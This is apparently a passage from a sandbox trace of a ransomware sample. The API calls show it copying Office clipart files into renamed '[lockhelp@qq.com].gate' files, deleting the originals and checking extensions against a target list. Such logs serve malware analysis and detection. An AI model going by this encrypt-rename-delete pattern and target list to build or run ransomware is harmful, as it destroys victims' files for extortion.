GetLastError () returned 0x0 [0299.327] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xf7c, lpOverlapped=0x0) returned 1 [0299.445] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xf80, lpOverlapped=0x0) returned 1 [0299.446] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.446] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.446] SetEndOfFile (hFile=0x564) returned 1 [0299.447] CloseHandle (hObject=0x564) returned 1 [0299.447] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.447] SetEndOfFile (hFile=0x4f0) returned 1 [0299.550] CloseHandle (hObject=0x4f0) returned 1 [0299.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.551] lstrlenW (lpString=".doc") returned 4 [0299.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString=".docx") returned 5 [0299.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.551] lstrlenW (lpString=".pdf") returned 4 [0299.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString=".xls") returned 4 [0299.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.552] lstrlenW (lpString=".xlsx") returned 5 [0299.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.552] lstrlenW (lpString=".ppt") returned 4 [0299.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.552] lstrlenW (lpString=".zip") returned 4 [0299.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.552] lstrlenW (lpString=".rar") returned 4 [0299.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".bz2") returned 4 [0299.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".7z") returned 3 [0299.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.552] lstrlenW (lpString=".dbf") returned 4 [0299.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.552] lstrlenW (lpString=".1cd") returned 4 [0299.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0299.552] lstrlenW (lpString=".jpg") returned 4 [0299.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.553] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=30414) returned 1 [0299.553] CloseHandle (hObject=0x4f0) returned 1 [0299.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0299.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.554] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.554] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0299.554] GetLastError () returned 0x0 [0299.554] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x76ce, lpOverlapped=0x0) returned 1 [0299.611] WriteFile (in: hFile=0x550, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x76d0, lpOverlapped=0x0) returned 1 [0299.612] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.612] WriteFile (in: hFile=0x550, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.612] SetEndOfFile (hFile=0x550) returned 1 [0299.612] CloseHandle (hObject=0x550) returned 1 [0299.612] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.612] SetEndOfFile (hFile=0x4f0) returned 1 [0299.614] CloseHandle (hObject=0x4f0) returned 1 [0299.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.635] lstrlenW (lpString=".doc") returned 4 [0299.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".docx") returned 5 [0299.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.635] lstrlenW (lpString=".pdf") returned 4 [0299.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".xls") returned 4 [0299.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.635] lstrlenW (lpString=".xlsx") returned 5 [0299.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.635] lstrlenW (lpString=".ppt") returned 4 [0299.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.635] lstrlenW (lpString=".zip") returned 4 [0299.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.635] lstrlenW (lpString=".rar") returned 4 [0299.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".bz2") returned 4 [0299.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".7z") returned 3 [0299.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.635] lstrlenW (lpString=".dbf") returned 4 [0299.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.636] lstrlenW (lpString=".1cd") returned 4 [0299.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0299.636] lstrlenW (lpString=".jpg") returned 4 [0299.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.636] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=12958) returned 1 [0299.636] CloseHandle (hObject=0x568) returned 1 [0299.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0299.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.637] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.637] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.638] GetLastError () returned 0x0 [0299.638] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x329e, lpOverlapped=0x0) returned 1 [0299.756] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x32a0, lpOverlapped=0x0) returned 1 [0299.757] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.758] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.758] SetEndOfFile (hFile=0x564) returned 1 [0299.758] CloseHandle (hObject=0x564) returned 1 [0299.758] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.758] SetEndOfFile (hFile=0x568) returned 1 [0299.760] CloseHandle (hObject=0x568) returned 1 [0299.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0299.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.761] lstrlenW (lpString=".doc") returned 4 [0299.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.761] lstrlenW (lpString=".docx") returned 5 [0299.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.762] lstrlenW (lpString=".pdf") returned 4 [0299.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString=".xls") returned 4 [0299.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.762] lstrlenW (lpString=".xlsx") returned 5 [0299.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.762] lstrlenW (lpString=".ppt") returned 4 [0299.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.762] lstrlenW (lpString=".zip") returned 4 [0299.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.762] lstrlenW (lpString=".rar") returned 4 [0299.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString=".bz2") returned 4 [0299.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString=".7z") returned 3 [0299.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.762] lstrlenW (lpString=".dbf") returned 4 [0299.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.762] lstrlenW (lpString=".1cd") returned 4 [0299.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0299.762] lstrlenW (lpString=".jpg") returned 4 [0299.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.763] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2188) returned 1 [0299.763] CloseHandle (hObject=0x568) returned 1 [0299.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0299.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.764] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.764] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.764] GetLastError () returned 0x0 [0299.764] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x88c, lpOverlapped=0x0) returned 1 [0299.862] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x890, lpOverlapped=0x0) returned 1 [0299.863] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.863] WriteFile (in: hFile=0x564, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.863] SetEndOfFile (hFile=0x564) returned 1 [0299.868] CloseHandle (hObject=0x564) returned 1 [0299.872] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.872] SetEndOfFile (hFile=0x568) returned 1 [0299.892] CloseHandle (hObject=0x568) returned 1 [0299.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0299.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.893] lstrlenW (lpString=".doc") returned 4 [0299.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.893] lstrlenW (lpString=".docx") returned 5 [0299.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.893] lstrlenW (lpString=".pdf") returned 4 [0299.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.893] lstrlenW (lpString=".xls") returned 4 [0299.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.893] lstrlenW (lpString=".xlsx") returned 5 [0299.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.893] lstrlenW (lpString=".ppt") returned 4 [0299.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.894] lstrlenW (lpString=".zip") returned 4 [0299.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.894] lstrlenW (lpString=".rar") returned 4 [0299.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.894] lstrlenW (lpString=".bz2") returned 4 [0299.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.894] lstrlenW (lpString=".7z") returned 3 [0299.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.894] lstrlenW (lpString=".dbf") returned 4 [0299.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.894] lstrlenW (lpString=".1cd") returned 4 [0299.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0299.894] lstrlenW (lpString=".jpg") returned 4 [0299.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.894] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3988) returned 1 [0299.894] CloseHandle (hObject=0x568) returned 1 [0299.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0299.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.895] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.895] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0299.896] GetLastError () returned 0x0 [0299.896] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xf94, lpOverlapped=0x0) returned 1 [0299.970] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0300.165] ReadFile (in: hFile=0x568, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.165] WriteFile (in: hFile=0x528, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.165] SetEndOfFile (hFile=0x528) returned 1 [0300.165] CloseHandle (hObject=0x528) returned 1 [0300.165] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.165] SetEndOfFile (hFile=0x568) returned 1 [0300.167] CloseHandle (hObject=0x568) returned 1 [0300.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0300.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0300.660] lstrlenW (lpString=".doc") returned 4 [0300.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.660] lstrlenW (lpString=".docx") returned 5 [0300.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.660] lstrlenW (lpString=".pdf") returned 4 [0300.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.660] lstrlenW (lpString=".xls") returned 4 [0300.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.660] lstrlenW (lpString=".xlsx") returned 5 [0300.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.660] lstrlenW 